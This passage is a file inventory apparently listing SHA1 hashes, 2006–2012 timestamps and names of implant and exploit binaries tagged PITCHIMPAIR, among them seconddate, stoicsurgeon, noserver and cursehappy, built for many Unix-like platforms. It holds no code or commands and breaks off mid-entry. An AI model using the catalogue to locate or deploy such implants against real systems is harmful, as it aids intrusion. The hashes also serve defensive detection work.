cursehappy-solaris_v.6.1.0.1_wholeblue.def +E14E0DFF1A030665E39B02ED2EB7046641627BFE Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_liquidsteel.def +8413E3019FBD6FC661B056C98B6B33FE5E0603B1 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_wholeblue.def +49705A37A69390E2ABAAB508388BD9CC86ECBBA1 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_serenefire.def +857CEAB84D0A16C682D9DC00260B0D02419E0012 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_shakengiraffe.def +AD83E494D0A6B6AA2054057A02B4788B371CCF61 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_coastalvortex.def +3B3BEC1976DF159B9E2B82A6CAC358E156DBD664 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_sloshedgalah.def +1ECF586F8E8E9650DA1B00329903BCF55BEBC21A Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_sloshedgalah_a.def +EB414EBA11C7CC3A90A85C4D309284672B401C88 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_editionhaze.def +2933B4AF9C7C0E0CB79EA69490C2E24FB9FF6806 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_silenttongues.def +F0C90A7F2CE120DE182DEA28ED9CCC15A5D6DE6B Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_sicklestar.def +49055EE6C916C2B6B64A20F31B254CBE9ADDC114 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_serenecosmos.def +AAB5302FBD7740DDA4FBC93DC337F6C274F26353 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_diamondaxe.def +7D5EC70CEA5E2FC8F6998A7FE925F58918638FF6 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_coastalstorm.def +A5CDB89C152D912A7345CDBA4D6D31FEE3D2F498 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_coastalburn.def +EBC4E8AEC8FE49C7E1F9DE51379342B088AB3F52 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_darkaxe.def +C6728288F07E895BA8292C504CCAE6602150D60F Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_paperfish.def +3A67D14F31382091464C351FB1E3233327ABD2C1 Thu Apr 9 15:38:40 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_editionhaze.def +BC959233089AC8541034245E41E257B17F170342 Thu Apr 9 15:41:11 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_silenttongues.def +DBB2E08DD34A9BE28515B9D5F126727752E36FC8 Thu Apr 9 15:41:00 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_sicklestar.def +7720BF9C08C6D108E6BAD601C6EA9085EF271EE5 Thu Apr 9 15:38:49 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_liquidsteel.def +DD120D8D6F2A1ADEA2144BD7604AD703F4403E7D Thu Apr 9 15:40:25 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_serenecosmos.def +2725F1ADF5FF426EAF7581EBE372F652AF7E302C Thu Apr 9 15:41:23 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_wholeblue.def +4EB0165C56DDAED4E081FD6834BEDD8597767090 Thu Apr 9 15:40:38 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_serenefire.def +8EF4758951A97A257CFFB6739D4B14D70F849635 Thu Apr 9 15:38:28 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_diamondaxe.def +FED3DEAB75C9E6E7A64C2FA6B3489243A9401EC6 Thu Apr 9 15:37:55 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_coastalstorm.def +B9D2EC0D0D2A1C0D1BDFD4330F27050FE199409B Thu Apr 9 15:37:43 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_coastalburn.def +D004D0578D9EC7EF294132A8F2F16463EC61881E Thu Apr 9 15:40:50 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_shakengiraffe.def +6E232ABE39D45E79FC45059EEF4061FF82C62AB7 Thu Apr 9 15:38:19 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_darkaxe.def +5E43B1DE915429F25784E86C7FF3BD7B0BF0A996 Thu Apr 9 15:39:03 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_paperfish.def +F72B0887165ACB48F5EAE807F38B181D4B6BC813 Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_editionhaze.def +071C48EBECF9350BA4CF8BA2BACFB9AB119722CF Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_serenecosmos.def +A68A987E1791B424F6A2DFB0FFF8EA73A88F73F7 Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_wholeblue.def +93BEB97832FE20B31CFE097FFDCF83BF8651BDF5 Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_diamondaxe.def +419926A12101EAE1ECAE7EDD9474848F2DE3A6E7 Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_vocalcottage.def +F4B60A44092B48545A6E4B97C5D1E887F0A45C7E Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_coastalburn.def +EBE567BFD4EC9CFCF52C65F74C63CBB2F03A71DD Fri Oct 14 15:41:34 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_stirredgibbon.def +3A6C1612CA4A4EAF6D8DA11D6C3F669E7EBC17F6 Fri Oct 14 15:41:34 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_sloshedgalah.def +763EB2323E24DDEE62EA598C2F7926282A648335 Fri Oct 14 15:41:34 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_darkaxe.def +013A8D6BDC153C1396D748F2B096445A49D07258 Fri Oct 14 15:41:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_fiestarun.def +4A8347414EA85A57192CBFFBA1A7A3E103D2BD85 Fri Oct 14 15:41:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_ironglass.def +1FC5F577788D811FD405D069F779206E8190CA3F Fri Oct 14 15:41:36 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_paperfish.def +DD7D0E240C0643E75CFA2AA6E55CABEA17C5A4C3 Tue Apr 20 18:59:58 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_editionhaze.def +74BC2BA60060F7F739879EE84AB9D14475694073 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_serenecosmos.def +7A95F5D43F7C484456796BB5F74D3D977F85F6B8 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_wholeblue.def +96F4B94FBEA64584D82C6892332956EC9426FE4E Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_diamondaxe.def +A3E68E6B40FC1F4BBF1506F4E4D832F389669933 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_vocalcottage.def +9BEB9D7CE0DED7338285CC29D610A003F2B0C71F Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_stirredgibbon.def +DAA63BBA2DAF7E157A24F2824408240A85655050 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_coastalburn.def +1D36BF459C845B73EAB88AF3FA89DA64A41E4724 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_sloshedgalah.def +D3298E27F6F6A3D2D98339818989D555DE60E1AA Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_fiestarun.def +559FA9C9AF7B149D7E8EC7ED88135EEE4CDC4C46 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_ironglass.def +8836E57B5867DD3BCFF8C62478232FC059B28090 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_paperfish.def +15AB11863C523DD274B9638AC4C5EDC09D009AB1 Mon Jan 30 13:11:36 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_serenemount.def +44B5C9749A14B6F4F44D36562CF3BA4C84F01989 Mon Jan 30 13:11:36 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_sicklestar.def +4DD570DF33B004955834B3D02E1A939DE134E7D0 Mon Jan 30 13:11:36 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_mossyoak.def +23D3981691669366E013B855B5244D754CE00ADF Mon Jan 30 13:11:36 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_spamjavelin.def +F5EDD2B65AC044E6538706114CAC78D765EFCB27 Mon Jan 30 13:11:36 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_sloshedgalah.def +E8DE3FFDE642F33940EB7B17304F17138AFF4961 Mon Jan 30 13:11:37 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_doublearsenal.def +0564E3F02B58EA50F9E37AD41ED8894484A2D0BA Thu Apr 12 12:01:28 2012 [PITCHIMPAIR.xx] curseclash.v1.0.0.3.aix5.1.powerpc_v.superceded +D01502934C089EA1316F659B5DBC80AE891DCA11 Tue Aug 8 14:24:12 2006 [PITCHIMPAIR.xx] dampcrowd.i686-pc-linux-gnu-redhat-5.0_v.2.0.0.1 +3A4BE0A37F98276B427F0EC2985475232B549B28 Tue Aug 8 14:24:12 2006 [PITCHIMPAIR.xx] dampcrowd.sparc-sun-solaris2.5.1_v.2.0.0.1 +58BD98A189A88173E8A705D854C220192D58A288 Wed Jun 27 19:00:55 2012 [PITCHIMPAIR.xx] dampcrowd.i386-pc-solaris2.6_v.2.0.0.1 +A83C41B50DB8A6D4B8EC62CA994123E9FD20C539 Thu Jul 31 20:38:12 2008 [PITCHIMPAIR.xx] dampcrowd.pa-risc1.1_v.2.0.1.1 +84351B4174D5CDB8B79FE0D27BDD2F0A821F1977 Tue Aug 15 19:32:09 2006 [PITCHIMPAIR.xx] dampcrowd.powerpc-aix3.4_v.2.0.0.2 +99FDFEC3A7987E0AC44A70A1E151B0D7CF255F93 Mon Feb 13 12:49:34 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.4.0.0.5 +7120D410762BEFC7C52320DD3EADC6E9F9572B48 Mon Feb 13 12:49:34 2012 [PITCHIMPAIR.xx] enemyrun.hpux11.00_v.4.0.0.5 +BA230F9E0CDB877EFEB4D0FA607E60E249852D42 Mon Feb 13 12:49:34 2012 [PITCHIMPAIR.xx] enemyrun.linuxrhe3.6_v.4.0.0.5 +6ED9AEE28FF29FC7662E917966E8DACA88684FBB Mon Feb 13 12:49:34 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8.i386_v.4.0.0.5 +0992DC598EC7BD5F9AEA57B27FD9C768189CC727 Mon Feb 13 12:49:34 2012 [PITCHIMPAIR.xx] enemyrun.linuxrh7.3_v.4.0.0.5 +FD4AAB02DF0364B049723EE34BBF92C9472426D6 Fri Oct 14 22:29:43 2011 [PITCHIMPAIR.xx] watcher.x86-solaris_v.2.7.0.0 +65B31BEB0E547D5A4379853F179B64549E4C1394 Fri Oct 14 22:29:43 2011 [PITCHIMPAIR.xx] watcher.x86-linux_v.2.7.0.0 +C6BEF72471D15F33FEACE85D10CB0F3AD8C1AE78 Wed Oct 24 16:34:04 2012 [PITCHIMPAIR.29] cursegismo.linuxrh7.3.i686_v.2.2.0.2 +B3370BB449078047FB7BB9B8425CDCC2A3015326 Wed Oct 24 16:34:05 2012 [PITCHIMPAIR.29] curseroot_flx.hpux11.00.risc_v.1.1.0.3 +475EE14BB59E2CBF1625AC75C269F44C0577E5D0 Wed Oct 24 16:34:06 2012 [PITCHIMPAIR.29] cursegismo.sunos5.8.sparc_v.2.2.0.2 +327901EDA008636E3A944B82D44FF16F14A863AE Wed Oct 24 16:34:06 2012 [PITCHIMPAIR.29] cursegismo.sunos5.8.i386_v.2.2.0.2 +DECFE5F18D8A50525A0C8A9F52503D35A213C267 Wed Oct 24 16:34:17 2012 [PITCHIMPAIR.29] cursesalsa.hpux11.00.risc_v.1.0.0.1 +93E018FB88F01C223B11C4F6026E321B29A59853 Wed Oct 24 16:34:18 2012 [PITCHIMPAIR.29] curseclash_flx.aix5.1.powerpc_v.1.0.0.3 +C81DAF1D7D76DA410857A90953E8D7A1909D948F Wed Oct 24 16:34:19 2012 [PITCHIMPAIR.29] curseclash_flx.sunos5.8.sparc_v.1.0.0.3 +0BF3892053FB4F3B9781C0AF0FCB807B5DE8C1DD Wed Oct 24 16:34:20 2012 [PITCHIMPAIR.29] cursehelper.sunos5.8.i386_v.2.2.0.4 +19ABD4D601359BB4ECF8B9697DAAA7F6BEA9F402 Wed Oct 24 16:34:21 2012 [PITCHIMPAIR.29] cursefire.sunos5.8.sparc_v.1.0.0.3 +1271A76124C1AA1F762634B4CA0B52BBFBE84D01 Wed Oct 24 16:34:23 2012 [PITCHIMPAIR.29] dewdrop__v__3.3.2.1_ia64-hpux-11.23 +BD8C9724EBAF0D75CBF294AC0876F65E172F0A4A Wed Oct 24 16:34:23 2012 [PITCHIMPAIR.29] dewdrop__v__3.2.9.1_sparc-sun-solaris +7885A7A3094D3E9AE3B69EA48F1D9C7B4C458027 Wed Oct 24 16:34:23 2012 [PITCHIMPAIR.29] dewdrop__v__3.2.2.1_x86-junos +52DA712BD1CA144AD054E57C548481B3930BD00E Wed Oct 24 16:34:23 2012 [PITCHIMPAIR.29] dewdrop__v__3.3.3.2_x86_64-linux +19393AFC3274EC25CD584C0360C26283D6510E29 Wed Oct 24 16:34:24 2012 [PITCHIMPAIR.29] dewdrop__v__3.3.3.1_x86-linux +0A09B0CEE952529BC1D9A97E393DA7182DD61211 Wed Oct 24 16:34:24 2012 [PITCHIMPAIR.29] dewdrop__v__3.2.9.3_x86-junos-jcat1 +F580E60395AFCB06B69014FE1A28AF8395D7DE4F Wed Oct 24 16:34:24 2012 [PITCHIMPAIR.29] dewdrop__v__3.2.5.2_x86_64-linux +A14334043CA2C768F2CC17A4D1F8402A61BB402D Wed Oct 24 16:34:25 2012 [PITCHIMPAIR.29] dewdrop__v__3.2.5.1_x86-linux +1B3A34612C45BEE6046B9660CDF8660296EC36CF Wed Oct 24 16:34:25 2012 [PITCHIMPAIR.29] dewdrop__v__3.3.2.2_x86_64-darwin +0CF5A2747D2F4291389C089425A1807588DE823F Wed Oct 24 16:34:25 2012 [PITCHIMPAIR.29] dewdrop__v__3.2.8.1_x86-freebsd-4.7 +27D629426B14438D900CD22EB15A14F8D17B9225 Wed Oct 24 16:34:25 2012 [PITCHIMPAIR.29] dewdrop__v__3.2.7.1_x86-freebsd +7E002B46EE7384D3BE2CDF6DAAD6CD3930622042 Wed Oct 24 16:34:28 2012 [PITCHIMPAIR.29] enemyrun.hpux11.00_v.4.0.1.2 +0E41BE4D91401CA3D89A2C73147DC4EC07F00464 Wed Oct 24 16:34:28 2012 [PITCHIMPAIR.29] enemyrun.sunos5.8.i386_v.4.0.1.2 +FE628F79D61434F1D5009A63FD9791ED6067ECCD Wed Oct 24 16:34:28 2012 [PITCHIMPAIR.29] enemyrun.linuxrh7.3_v.4.0.1.2 +46AB7FF7485F9EB12926303DFF123F6239D007F2 Wed Oct 24 16:34:29 2012 [PITCHIMPAIR.29] enemyrun.linuxrhe3.6_v.4.0.1.2 +5B361CEBDE1081B9512144EBD9E2A8B5E0C9EE7E Wed Oct 24 16:34:29 2012 [PITCHIMPAIR.29] enemyrun.sunos5.8_v.4.0.1.2 +CE8BE1A658E14AF068C099EE478B72F5382FC5A2 Wed Oct 24 16:34:30 2012 [PITCHIMPAIR.29] x86-linux-exactchange +EE705FEFBA9CC2DCFCE1D96E7D1D669DC058D7DC Wed Oct 24 16:34:30 2012 [PITCHIMPAIR.29] x86_64-linux-exactchange +6A7916C58D1213FBAFFE0088C650509F22AAEFE4 Wed Oct 24 16:34:30 2012 [PITCHIMPAIR.29] x86_64-linux-exactchange.static +24CFCB600E79501475168F8FDFF1C08F413BA5ED Wed Oct 24 16:34:30 2012 [PITCHIMPAIR.29] x86-linux-exactchange.static +25AF3FF413F28FE1B61A335D3955CF3284CC7520 Wed Oct 24 16:34:30 2012 [PITCHIMPAIR.29] opscript.install_hpux_jackladderhelper +07BACB97EF18B71469975AB0A8AFBB3FF89DDFFA Wed Oct 24 16:34:30 2012 [PITCHIMPAIR.29] jackladderhelper +DF946EB8A908F663CD6CF68DB7E5D377F1076CE8 Wed Oct 24 16:34:36 2012 [PITCHIMPAIR.29] noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES +FDE0B34026005C8ED677E6BC00449A200866E5CE Wed Oct 24 16:34:38 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i686.pc.linux.gnu.redhat-6.0 +6E4EB7626FCD8E1700C323FED3C1C6D0FD620487 Wed Oct 24 16:34:38 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i386.pc.solaris-2.8 +9925C95239197B35E8E3E3579672505F260CF7ED Wed Oct 24 16:34:38 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i686.pc.linux.gnu.redhat-5.0 +6B1948677E93537A8BF8C7EDA66CB14DCC3DFE62 Wed Oct 24 16:34:39 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i386.unknown.freebsd-5.1 +392FBCAB34F6E3B46D04A9AC85CD1AB1F1FF4418 Wed Oct 24 16:34:39 2012 [PITCHIMPAIR.29] noclient-3.1.0.5-i686.pc.linux.gnu.redhat-ES +6BD3D86FD9A3B0B9D54197269B5C935CF97BB1ED Wed Oct 24 16:34:39 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-sparc.sun.solaris-2.6 +30B07175E42E9E8DD384A5328E3E95A559A17240 Wed Oct 24 16:34:39 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i386.pc.solaris-2.6 +345EA4115EEE87DAEBBDFAC1D667F4705D3D9D69 Wed Oct 24 16:34:39 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i386.unknown.freebsd-4.7 +30AD471D8D2BF8681DB38470D34384B081AE58A4 Wed Oct 24 16:34:39 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i386.unknown.freebsd-7.0 +9CC58679C3B68BBE26554881C2D7D4FBEB62C64C Wed Oct 24 16:34:39 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i686.pc.linux.gnu.redhat-ES +FEDC5144C3DABAB8C7A028AB39B067D3F0B2B6C3 Wed Oct 24 16:34:39 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-sparc.sun.solaris-2.8 +0E73651AAA15849FB73F1C592D7E913D03A43134 Wed Oct 24 16:34:39 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i386.apple.darwin-10.4 +D514C701B4DDE060C3C94B778D8BF17F0E3A3423 Wed Oct 24 16:34:39 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i386.unknown.freebsd-4.7-static +D0F9582A7E64B771739541B04B2B28F3404FAE77 Wed Oct 24 16:34:40 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i686.pc.linux.gnu.redhat-5.0-static +A9A375840F64630171469CA897B1CC3D02E7B444 Wed Oct 24 16:34:40 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-i386.unknown.freebsd-6.1 +5C91C0CBACE2999DD64EAAD9919C8B4E38F9AA1F Wed Oct 24 16:34:40 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-powerpc.ibm.aix-5.1 +0EDD78C61541BD461E4D6D1762BDDE466741D4DA Wed Oct 24 16:34:40 2012 [PITCHIMPAIR.29] noserver-3.1.0.5-hppa2.0w.hp.hpux-11.00 +A84AC3EA04F28FF1A2027EE0097F69511AF0ED9D Wed Oct 24 16:34:43 2012 [PITCHIMPAIR.29] noclient-3.0.5.3-i686.pc.linux.gnu.redhat-ES +4CCAEB2A7A4DCC998E595643520FA2C82B379A71 Wed Oct 24 16:34:45 2012 [PITCHIMPAIR.29] noclient-3.0.3.6-i586.pc.linux.gnu +554660700AE700AC251D226683D017EBC6B507AB Wed Oct 24 16:34:46 2012 [PITCHIMPAIR.29] noclient-3.0.4.1-i586.pc.linux.gnu +CD78326CDA6B81D7108D65574F38C93E6E3BB784 Wed Oct 24 16:34:47 2012 [PITCHIMPAIR.29] noserver-3.0.5.3-i686.pc.linux.gnu.redhat-6.0 +351F2826A94FA10D6996127CEF453AFFDC18CB05 Wed Oct 24 16:34:51 2012 [PITCHIMPAIR.29] seconddate_ImplantStandalone_2.0.5.2_x86_64-linux +88BB71DA51CBA8F569E1BF42AAEBF7AF3F67DE76 Wed Oct 24 16:34:51 2012 [PITCHIMPAIR.29] seconddate_ImplantStandalone_2.0.5.1_i386-linux +5BA84D8ACA1E437B78D4426B767C5585E75F4D23 Wed Oct 24 16:34:51 2012 [PITCHIMPAIR.29] seconddate_ImplantStandalone_2.0.5.5_sparc-solaris +5F12084ACC095C988DED28B8268BF841AF0452F0 Wed Oct 24 16:34:51 2012 [PITCHIMPAIR.29] seconddate_ImplantStandalone_2.0.5.4_x86_64-freebsd +3BB7A3B73AF5528CBD1D4E5278520BD23CF4038B Wed Oct 24 16:34:51 2012 [PITCHIMPAIR.29] seconddate_ImplantStandalone_2.0.5.3_i386-freebsd +DA4E46AB60D9B7CD866C8E91717A40430D802CA3 Wed Oct 24 16:34:51 2012 [PITCHIMPAIR.29] seconddate_ImplantStandalone_2.0.5.6_i386-solaris +8C7AF765EE76B34182D4242B97BEC5BFFA8220E1 Wed Oct 24 16:34:52 2012 [PITCHIMPAIR.29] seconddate_ImplantStandalone_2.0.2.1_i386-junos-8.4-belowtrunklien +9CC6BB7D7AFD1A9F1AB6175C75AB7787CE8E9211 Wed Oct 24 16:34:52 2012 [PITCHIMPAIR.29] seconddate_ImplantStandalone_2.0.2.2_i386-junos-8.5-abovetrunklien +FCB5C909C38E5E2EB97311C573B373FA659804A2 Wed Oct 24 16:34:56 2012 [PITCHIMPAIR.29] slyheretic_i386_linux__v__x86_linux_3.3.0.1 +2BB08552336810B7CF2B2FDAD473EADA4F60E21D Wed Oct 24 16:34:56 2012 [PITCHIMPAIR.29] slyheretic_checkprocess__v__3.1.1.1_x86_64_linux +346ECF3C9A3EC309B04D4FC889AF7F7AA29AB743 Wed Oct 24 16:34:57 2012 [PITCHIMPAIR.29] slyheretic_checkpersist__v__3.1.0.1_i386_linux +ABD5B0F3A0A980088395BD69DC2B6A848633E351 Wed Oct 24 16:34:57 2012 [PITCHIMPAIR.29] slyheretic_x86_64_linux__v__x86_64_linux_3.1.2.2 +DF83BB285F0795329F5E2C021742C0B6CB1D0FD5 Wed Oct 24 16:34:57 2012 [PITCHIMPAIR.29] slyheretic_checkpersist__v__3.1.1.1_x86_64_linux +BCB304B6C5F1F0BB0147199FADC82F7D12B807EA Wed Oct 24 16:34:57 2012 [PITCHIMPAIR.29] slyheretic_checkprocess__v__3.1.1.0_i386_linux +42B8950A20040192A2AC01F3C567FD868E9F5CBE Wed Oct 24 16:34:57 2012 [PITCHIMPAIR.29] slyheretic_checkpersist__v__3.1.1.0_i386_linux +28BF68EED1BF20258C392BF68775DF652D5C0BA3 Wed Oct 24 16:34:57 2012 [PITCHIMPAIR.29] slyheretic_i386_linux__v__x86_linux_3.1.2.1 +30DBA6F7DC434B82ADCA94F7FD642B1B8313D920 Wed Oct 24 16:34:57 2012 [PITCHIMPAIR.29] slyheretic_checkprocess__v__3.1.0.1_i386_linux +CE0EBBED4C67692CB019838978BABFC93B2D847B Wed Oct 24 16:34:58 2012 [PITCHIMPAIR.29] slyheretic_x86_64_darwin__v__x86_64_darwin_3.2.1.1 +EE0C1BE5E030397412CFE4874F686E6320545B58 Wed Oct 24 16:34:58 2012 [PITCHIMPAIR.29] slyheretic_x86_64_linux__v__x86_64_linux_3.3.0.2 +90E1AF8702F0E792A1EC6A5DF0A4E27CD3589553 Wed Oct 24 16:34:58 2012 [PITCHIMPAIR.29] slyheretic_ia64_hpux__v__ia64_hpux_11.23_3.2.2.1 +1279B4D71106A30A0FDC16EDFB33AFF07B4AA096 Wed Oct 24 16:34:58 2012 [PITCHIMPAIR.29] slyheretic_checkprocess__v__3.0.0.2_i386_linux +1C71DFFE60009303FE88795075829EFBE9F6EFD6 Wed Oct 24 16:34:58 2012 [PITCHIMPAIR.29] slyheretic_checkpersist__v__3.0.0.2_i386_linux +1412997A8D1AE51022A86C7CE3C6DC4E07B6E99C Wed Oct 24 16:35:00 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.36.7_sparc-sun-solaris2.10 +B74172492531A3600636CBE49CC8895356AEEA9C Wed Oct 24 16:35:01 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.14.20_x86-freebsd-7.3 +5A63D92DC2C6B883911D9FFD7E1A40AAC4A746C4 Wed Oct 24 16:35:02 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.33.5_sparc-sun-solaris2.10 +D56E29A97501E9DE39C003B632FAAD3C2819062D Wed Oct 24 16:35:02 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.18.2_x86_64-freebsd-8.1 +9A1DA56679AEEA61B9B220AED1FC312CF937B5D1 Wed Oct 24 16:35:02 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.30.1_i386-pc-solaris2.10 +87C7C3147CBB018C6E96AAE2E1EADB17A74537CD Wed Oct 24 16:35:03 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.24.3_sparc-sun-solaris2.8 +7209D1B4EB55A8AB7F1111159B3CCCD922126278 Wed Oct 24 16:35:03 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.33.13_x86-freebsd-7.1-dutchstorm +58D1FB70C4899DB90019D20E047B05B893690F03 Wed Oct 24 16:35:04 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.14.17_x86-freebsd-7.0 +BB284DC2B75FA60736ACBDD33F49B37530A2B39F Wed Oct 24 16:35:04 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.8.1_x86-junos-8.5 +4F095B63E2CEB90F098B683E5F3AFDEDD207EC1F Wed Oct 24 16:35:05 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.30.3_i386-pc-solaris2.8 +4153BEB9F4541136C7FED96C86E018E7CC0171DE Wed Oct 24 16:35:05 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.33.3_x86-freebsd-8.2 +4FECA06EFB0AA344A21035FCA22DABD6BD1ED2CC Wed Oct 24 16:35:06 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.27.2_x86_64-linux-centos-5.7 +F904165230410ABB1BC7E90A605F4D5CCABDBA26 Wed Oct 24 16:35:06 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.14.10_x86-junos-10.0 +47313167DF67A8E201304F99383976F2C3C737E9 Wed Oct 24 16:35:06 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.25.18_x86_64-freebsd-7.3 +39C6AECD832D1947C65FFA642A21F1F5AEF3854E Wed Oct 24 16:35:07 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.14.21_x86-freebsd-7.4 +57C06CD477916B8E6F52AE42038313BBB510075F Wed Oct 24 16:35:07 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.14.2_x86-freebsd-6.1 +0B8DE23415B3E7AEDB540CDBB9583F1BA40DD58C Wed Oct 24 16:35:07 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.13.3_sparc-sun-solaris2.10 +FDB75FCFD4717B329E348B99FA172286819761BB Wed Oct 24 16:35:08 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.15.10_sparc-sun-solaris2.9 +95756C19005D45231B9DF965E3D216E584960D7B Wed Oct 24 16:35:08 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.15.6_sparc-sun-solaris2.10 +4512D547CDC6C698AF2BBFB07DC097E9B63B59F0 Wed Oct 24 16:35:09 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.23.6_x86-freebsd-5.4 +CDFE7724DF2AB80ABD17C30E7839699A107FAF8E Wed Oct 24 